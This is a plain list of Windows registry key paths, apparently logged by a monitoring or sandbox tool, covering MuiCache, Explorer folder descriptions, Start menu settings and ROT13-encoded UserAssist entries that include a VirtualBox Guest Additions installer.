HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\ShapeCollector.exe,-298
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\TipTsf.dll,-80
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Journal\Journal.exe,-3074
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\comres.dll,-3410
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mycomput.dll,-300
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\odbcint.dll,-1310
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\iscsicpl.dll,-5001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\MdSched.exe,-4001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10021
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\pmcsnap.dll,-700
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wsecedit.dll,-718
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\filemgmt.dll,-2204
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msconfig.exe,-126
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\AuthFWGP.dll,-20
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\gameux.dll,-10082
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sdcpl.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\recdisc.exe,-2000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msra.exe,-100
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PropertyBag
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PropertyBag
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PropertyBag
HKEY_CLASSES_ROOT\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SortOrderIndex
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuPinnedList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheSMP
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheTBP
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.TrggvatFgnegrq
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qvfcynlfjvgpu.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pnyp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.FgvpxlAbgrf
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FavccvatGbby.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfcnvag.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\kcfepuij.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JSF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ErzbgrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zntavsl.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\freivprf.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary.Gnfxone
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\rkcybere.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IOBKJVAQBJFNQQVGVBAF-NZQ64.RKR
